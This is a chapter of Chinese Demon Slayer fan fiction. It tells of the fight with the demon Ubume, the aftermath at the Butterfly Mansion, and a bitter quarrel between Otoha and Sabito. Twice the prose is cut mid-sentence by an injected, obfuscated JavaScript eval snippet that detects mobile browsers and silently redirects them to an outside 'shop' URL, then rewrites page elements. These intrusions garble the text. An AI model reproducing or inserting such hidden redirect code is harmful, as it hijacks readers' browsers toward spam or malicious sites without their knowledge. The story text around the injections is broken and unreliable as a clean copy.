不远处的下弦一正动作迟缓地朝着不死川的方向走去。那是一个瘦小的女性,黑色的长发垂至腰际,简简单单地束成一把。她双颊泛红,脸上浮现出慈祥的笑容,嘴里喃喃地说着什么。 ——这大概是不死川的稀血效果。 一旁不远处的粂野匡近正在给腹部做止血包扎,双手因为失血过多而抖动着。音叶凑上去,帮助匡近更快地完成腹部的止血处理。 等到匡近再一次架起日轮刀时,音叶松了一口气,五指快速合拢握住日轮刀,将刀出鞘。 而在此时,她瞥见一个少女缩在身后的角落里,尽管满脸都写着惊恐,但她的目光却死死地盯着战局,身形隐隐有冲出来的架势。 她想做什么?冲上去送死吗?还是…… 音叶来不及多想,身体已经先一步行动起来。她掠过去,一把将那个少女揽进怀里,同时另一只手拽住旁边另一个蜷缩着的少年。 那少年比她更小一些,面色灰败,眼睛空洞地望着一个方向,嘴唇翕动着,像是在念什么人的名字。音叶将两个孩子护在身后,用自己的背挡在他们面前。 下弦一的招式接踵而至,音叶从粂野匡近口中的了解到她的名字,弥荣——也就是面前这个面容冷艳的女鬼,此刻正不愉快地纠正自己的名字,称呼自己为“姑获鸟”。 姑获鸟挥动手臂,指甲暴涨如刃,在空中划出五道凌厉的弧线。匡近挡在前面,硬生生接下了这一击,他胸口剧烈起伏着,喉头一甜,张口便吐出一大口鲜血,溅在面前的地面上,触目惊心。 “粂野先生!”音叶喊了一声。 她迅速将两个孩子安置到角落,一手按住那个想要挣动的少女的肩膀,把她按回原地。 音叶转头看向锖兔,他立刻会意,几步跨过来,挡在两个少年面前,一手按住其中一个想要挣动的肩膀。 “交给我。”他说。 音叶不再犹豫,她握紧日轮刀,足尖点地冲向了那个下弦。 姑获鸟转过身来,那双血红的双眼冷冷地锁定了音叶。她的右臂已经被匡近砍出了一道深可见骨的伤口,血液从伤口中渗出。她脸上没有任何痛苦的表情,而是面带微笑地注视着音叶,嫣红的唇角在她如花的面庞上微微勾起。 “又来一个……”她的声音带着对孩子的宠溺,像是母亲在哄自家闹脾气的小孩,“好像还是柱呢……似乎也是一个没有母亲的可怜孩子……” “那就让我也来做你的母亲吧……好吗……” “你还不配提起我的妈妈!” 音叶怒吼着,日轮刀自下而上撩起,刀锋划过空气发出尖锐的嘶鸣。姑获鸟侧身避开,手刀直取音叶的面门,却被她偏头躲过,只是一缕棕发被削断。音叶顺势转身,刀锋横斩,砍向姑获鸟的腰际。 姑获鸟抬手格挡,指甲与日轮刀碰撞,迸出一串火星。两人在瞬间交换了数招,刀光与爪影交织成一张密不透风的网。 音叶的每一次出刀都被姑获鸟化解,而姑获鸟的每一次反击也让音叶险象环生。后肩的伤口在这一连串激烈的动作中被撕扯着,痛意一阵一阵地涌上来,音叶咬着牙将痛意压下去,尽量保持冷静。 作为下弦之首,姑获鸟的实力确实是最接近上弦的存在,她的每一招都裹挟着浓稠的杀意,手刀的刀风刮过脸颊。 音叶看准了姑获鸟出招后的一个细微的空档,日轮刀划出一道弧光,狠狠地斩向姑获鸟伸出的手臂。 刀锋入肉,姑获鸟的右臂被齐肘斩断,断臂在空中划过一道弧线,血液飞溅出来,洒在音叶的脸上和衣襟上,带着一股令人作呕的腥臭。 姑获鸟的面容扭曲了一瞬,那双血红的瞳孔骤然收缩,嘴张开,露出里面参差不齐的尖牙,发出一声低沉的嘶吼。 音叶没有给她喘息的机会,她踏前一步,日轮刀高高扬起,刀锋对准了姑获鸟的脖颈。这一刀下去,一切就结束了—— “不要!” 一个稚嫩的声音在空中炸开。 是那个少女,她不知何时挣脱了锖兔的桎梏,跌跌撞撞地扑过来,张开双臂挡在姑获鸟面前。那双眼睛里盛满了泪水和绝望,瘦小的身体在夜风中瑟瑟发抖。 “请不要责怪……我的母亲……”少女的声音嘶哑破碎,眼泪从眼眶里涌出来,在脏兮兮的脸上冲刷出两道白痕。 音叶的瞳孔骤缩,刀已落下,轨迹已定。她几乎是在本能驱使下强行转换刀型,刀刃硬生生偏转了一个角度。 她的手腕发出一声脆响,关节在剧烈的扭转中传来一阵刺痛,但音叶已经拿定把握,这一刀变为防守,足以挡下姑获鸟的反击。 但事实并没有按照她预想的那样进展。 锖兔从侧面扑过来,用身体挡在她身前。他大概以为自己来不及防守,竟然打算直接用肉身替她接下这一击。 他的淡橘色头发在她眼前一晃而过,双臂搂着她,银紫色的眼睛里映出她狼狈的倒影。 这个笨蛋……! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375062|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 音叶又气又急,她借着锖兔的力道带着他向旁边扑倒。两人几乎是贴着手刀刀刃滚出去的,姑获鸟的手刀擦着音叶的后背掠过,将她的羽织撕开了一道口子。 锖兔的后背重重撞上墙壁,发出一声沉闷的撞击声,音叶整个人压在他身上,堪堪躲过了姑获鸟的致命一击。 “你……你是疯了吗?”音叶咬着牙,声音从齿缝里挤出来,眼里翻涌着怒意。 她的胸口剧烈起伏着,发声早就已经在战斗中不知去向了,棕色的长发凌乱地散落在肩头,几缕贴在汗湿的额角。她死死地盯着锖兔,手指还攥着他的衣领,指节因为用力而泛白。 音叶还有话没说出口,就听见一声暴喝从身后响起。 不死川实弥不知何时站了起来,他浑身是血,胸膛剧烈起伏,那双布满血丝的眼睛里却燃烧着近乎疯狂的战意。他握紧日轮刀,以一种近乎自毁的姿态冲上前去—— 刀光一闪,姑获鸟的头颅飞向半空,她的身体僵硬了片刻,从指尖开始一寸一寸地化为灰烬,黑色的碎片在夜风中飘落。 不死川实弥大口喘着气,跪倒在地。血从他嘴角淌下来,嘴角却扯开一个近乎狰狞的弧度。 鎹鸦在头顶盘旋,沙哑的嗓音响彻整个战场: “嘎——甲级队员粂野匡近重伤……甲级队员不死川实弥重伤……嘎——甲级不死川实弥斩杀下弦之一姑获鸟,晋升风柱……” 局势已定,音叶站起身来,拍了拍身上的灰。她感到后肩的伤口又裂开了,温热的液体顺着肩胛骨往下淌,浸湿了里衣。她没有去管,也没有去看锖兔,径直走向那两个少年。 曾经挡在姑获鸟面前的少女正蜷缩在地上发抖,双手抱着自己的肩膀,嘴唇发紫。另一个少年面色灰败地跪在旁边,空洞的眼睛望着姑获鸟消散的方向,嘴唇翕动着,像是在念“母亲”两个字。 他的手在地上摸索着,不知道从哪里摸到了一把短刀,刀刃在月光下泛着冷光,正颤抖着举向自己的脖颈。 音叶一脚踢飞了那柄短刀,刀刃在空中转了几圈,哐当一声落在远处的碎石堆里,发出一声清脆的撞击声。 “看好他们……”她对身旁匆忙赶来的赶来的隐部成员叮嘱道。 她低头看了一眼那两个孩子,补了一句,“这两个孩子可能会自刎,需要加大力度看管。” 隐愣了一下,顺着音叶的目光看向那两个少年,立刻明白了什么,连忙点头,上前将两个少年拉开。 少女被拉起来的时候发出一声低低的哭喊,挣扎了两下,很快就没了力气,软软地靠在隐的肩上。 隐开始收拾战场,搬运伤者、清点伤亡,一切都按部就班地进行着。音叶和锖兔分别扶着实弥和匡近两个人往回走。 不死川实弥的脚步虚浮到几乎站不稳,每走一步都要靠音叶撑住大半的重量,他的呼吸粗重而急促,却硬撑着不肯发出声音。 粂野匡近倒是安静得很,只是脸色苍白得吓人,嘴角还挂着没擦干净的血迹,那双平日里总是笑眯眯的眼睛此刻半睁半闭,目光涣散。他微微侧头看了实弥一眼,嘴唇动了动,像是想说什么,最终只是轻轻地吐出一口气。 音叶把他们带回蝶屋,恰巧遇到了接到消息等待接应的蝴蝶忍。 “忍,他们遇到了下弦一,需要立刻进行手术……”音叶说道,“他们两个伤得都很严重,粂野匡近的内脏可能有损伤,还有,不死川实弥的伤口需要仔细清创。” 忍听完音叶的话,没有过多犹豫,而是立刻招呼着隐们将两人抬进去。她的动作利落干脆,紫色的蝴蝶发饰在灯光下微微晃动,很快就消失在治疗室的门帘后面。 音叶站在走廊上等着,廊外的秋风灌进来,吹得她的羽织猎猎作响。她后肩的伤口又开始发痒了,混合着痛意,一阵一阵地折磨着她。 锖兔站在她身后不远处,在音叶看不见的地方,他有好几次抬起手又放下,手指在身侧攥了攥,最终还是没有上前。 不知过了多久,忍终于从房间里出来,摘下沾血的手套。 她的脸上带着几分疲惫,但语气还算平静:“两个人都没有生命危险,不死川先生的伤重一些,有好几处伤口都感染了;粂野先生断了三根肋骨,其中一根差一点刺穿肺叶,都已经处理好了……两个人都需要静养。” 音叶松了一口气,朝忍点点头。 随后她转身,一把攥住锖兔的手腕,拽着他穿过蝶屋一路走回他们的家,锖兔没有挣扎,任由她拉着,沉默地跟在后面。 一路上,她一个字都没有说。 院门在身后合上的那一刻,音叶才松开攥住锖兔的手,转过身来。 她大概知道自己的怒气遮掩不住,也没打算遮掩。音叶的胸口剧烈起伏着,棕色的长发凌乱地散在肩头,羽织被撕开的那道口子露出里面染血的队服,但她浑然不觉。 “锖兔,”她的声音从喉咙里一个字一个字地挤出来,带着压抑到极致的颤抖,“你是不是觉得自己死了也无所谓?” 42.剑拔弩张 被喊到名字的少年挺直脊背,脸上还挂着笑容,仿佛没有听出音叶语气中的愤怒。 夜风吹过庭院,将锖兔鬓角的头发吹乱,搭在额前,侧脸的伤疤在光影中忽明忽暗。 他习惯性地牵起嘴角,试图绕开话题:“说什么呢,音叶?” 他歪了歪头,眉眼弯弯,平静得仿佛什么都没发生过一般,避重就轻道:“我现在不是好好的吗?对了,前阵子我路过街上时,发现新开了一家……” “你明白我在说什么……” 这句话从音叶嘴里说出来的时候,她的手因为情绪而不住地发抖。那个曾经会大大方方表达诉求的女孩已经被愤怒冲昏了头脑,取而代之的是面前这个眼眶泛红、连呼吸都带着颤抖的少女。 见锖兔没有说话,音叶又重复了一遍。 “我在讲什么你心里应该最清楚不过!” 锖兔脸上的笑容僵住,他垂下眼,浓密的睫毛在脸颊上投下一片阴影,好一会儿才重新抬起头,嘴角又弯了起来,这次却一眼就能看出有些勉强。 “我现在不是没事吗……” “那我要是没反应过来呢?”音叶截断他的话反问,没给锖兔开口的机会,她接着说道,声音拔高了好几个度。 “如果我没有反应过来,你现在不可能站在这里和我说话……你应该躺在蝶屋的床上,少说还要住上几天呢!” 她向前迈了一步,明明话已经说出口,情绪却没有被接住,音叶觉得自己越是靠近越是能够清楚地感知到胸口贲发的愤怒。 锖兔没有动,语气急切,银紫色的眼睛里闪过一丝倔强的光,他依然站在原地为自己辩解:“我不想看到任何人在我面前受伤。” 音叶气极反笑,她一边笑一边不可置信地摇头,束起的马尾辫随着她的动作摆动着。 “你不想让任何人受伤……?”她一字一顿地重复,说得极慢,几乎每说一个字就要往前走一步。 锖兔往后退,直到脊背抵上冰凉的墙壁,已那已经是庭院的尽头了,再无退路。月光被云层吞去大半,庭院里暗了下来,他侧脸的伤疤隐没在阴影里,只剩一双银紫色的眼睛还亮着。 “是,你是不想任何人在你面前受伤,所以你最终选拔的时候才会想去救那些素未谋面的陌生人。”音叶开口,语气中带着难以察觉的恐惧。 “所以在你执行任务的时候,明明自己刚受的伤还没好,看到别人有麻烦了就要马不停蹄地冲上去。” “现在倒好,今天对面站着的是下弦,还是下弦一!你还是可以不管不顾地冲上去,你知不知道那一下要是没躲开,你现在已经就……” 音叶说不下去了,喉咙像是被什么东西堵住了,她用力咽了一下才把那股酸涩压回去,单是设想到那种画面就已经足够让她鼻尖发酸。她低下头,用一只手捂住自己的双眼,任由湿漉漉的水汽洇满掌心。 锖兔靠着墙,低头看着音叶的发旋,面前从不轻易展示脆弱的少女此刻正颤抖着肩膀。他心中五味杂陈,伸出的手在迟疑片刻后又缩了回来。 他抿抿嘴,双手捧住音叶的脸,指腹帮她擦拭掉眼角处将落未落的眼泪。 他叹了一口气,语气软下来:“比起他们,我更想保护的人是你。” “可我现在已经是柱了!”音叶往后退,挣脱锖兔的手。 音叶厉声打断他,声音里带着残忍的清醒,她盯着锖兔的眼睛,一字一句地说:“我比你厉害得多,不需要你的保护。” 锖兔的身体顿住。 “比起保护我……”音叶深吸一口气,那些憋在心里太久的话像决堤的洪水一样涌出来,“你倒不如看看自己为什么一直停滞不前吧?” 话说出口的瞬间,音叶就后悔了。小时候爷爷曾告诉过她,说话之前要三思,这些话在说出口的瞬间确实能带来一丝畅快,但随之涌上来的,更多的是心疼。 她和锖兔自幼相识,彼此太过熟悉,因此也最清楚对方心底深处的脆弱。 空气在这一刻似乎凝固住了。 音叶意识到自己说了什么,她张了张嘴,想要补救:“我不是这个意思……” 她没能说下去。 锖兔勉强牵起嘴角,自嘲地笑了笑。 “原来在你眼中,”锖兔的声音低下来,“就是这样看我的吗?” 音叶的嘴唇颤抖着,她知道自己说错话了。面前的少年靠在墙边的样子,淡橘色的头发散乱地搭在额前,银紫色的眼睛直直地望着她。 没有她想象中的愤怒,只是沉默地看着她,吐出了几句让音叶内心叫嚣着疼痛的话。 音叶恨不得锖兔能够生气,最好是可以大吵大闹,将心里的委屈与不满统统表达出来,又或者是像往常那样,用轻描淡写的态度把所有沉重的东西都化解掉。 可他没有,他只是安静地低头看着音叶,等她回答。 音叶垂下眼睛,刘海遮住了她的表情,只有攥紧袖口的双手在微微发抖。 锖兔不是没有注意到这个小细节,他心想,这样不对。人总是会在脾气上头的时候讲一些伤人的违心话,他能够理解音叶说这话的本意肯定是不想让他受伤。 他或许确实不如两个同伴那样有天赋,对于柱的位置也没有那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382455|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意。义勇先一步当上了水柱,锖兔不仅没有生气,反而是真心的祝贺这位朋友,同样也为自己拥有两位柱朋友而自豪。 锖兔并不在意别人的看法,但他在意音叶的看法,不仅是因为她们从不跟小一起长大,更是因为——他——他喜欢她。 ……不能再让这场吵架继续了。 再吵下去就只会两败俱伤。 锖兔压制住心底的情绪,淡淡道:“我们现在都不适合再说下去了,彼此之间冷静一下吧。” 他直起身,从墙边走出来。经过音叶身边的时候,他的脚步顿了一下,时间很短,几乎不能算是停顿。 淡橘色的头发在月光下泛着柔和的光泽,肩头的衣料被落下的枯叶蹭出几道浅浅的痕迹。 “救人要适可而止。” 音叶的声音从身后传来,像是在自言自语一般。但她知道,锖兔听得见。 “如果为了救一个未曾谋面的人丢了自己的性命……怎么办?” 她没有听到回答,锖兔的背影消失在屋角的阴影里,脚步声也渐渐远了,只剩下她一个人站在庭院中央看着空荡荡的院子。 对于她口中的“怎么办”,他们心知肚明。 不仅仅是对于锖兔本人,而是作为挚友的鳞泷音叶和富冈义勇,他们应该怎么办……该如何去面对挚友的死亡? …… 那天夜晚过后,院子里的生活似乎也在随着争吵有所变化。 饭还是照常做,锖兔每天准时出现在厨房里,系上围裙,洗米切菜,动作一如既往地利落。饭菜端上桌的时候热气腾腾,三人的份量,色香味俱全,看不出任何异样。 从前总是锖兔站在廊下,扯着嗓子喊“音叶——义勇——吃饭了——”,声音能从院子这头传到那头,带着他一贯的明朗和热情。 现在站在廊下的人是义勇,黑发绑在脑后,发质有些粗糙,深蓝色的瞳孔安静地望着院子,声音不大不小地说一句“吃饭了”。 义勇在饭桌上努力找话题,他本就不擅言辞,如今却笨拙地搜刮着每一个可以聊起来的由头。 音叶低头扒饭,偶尔应一声“嗯”或者“好”,眼睛始终没有抬起来。 锖兔坐在对面,夹菜的动作很慢,筷子在碗沿上碰出细微的声响。他偶尔会抬头看一眼音叶,在少女抬头的前一秒迅速地移开目光,装作无事发生的样子。 义勇夹在中间,左右为难。 他看看音叶,又看看锖兔,嘴唇动了动,最终什么也没说。粗糙的发丝从耳后滑下来,垂在脸侧,他抬手别回去,动作里带着一丝不易察觉的烦躁。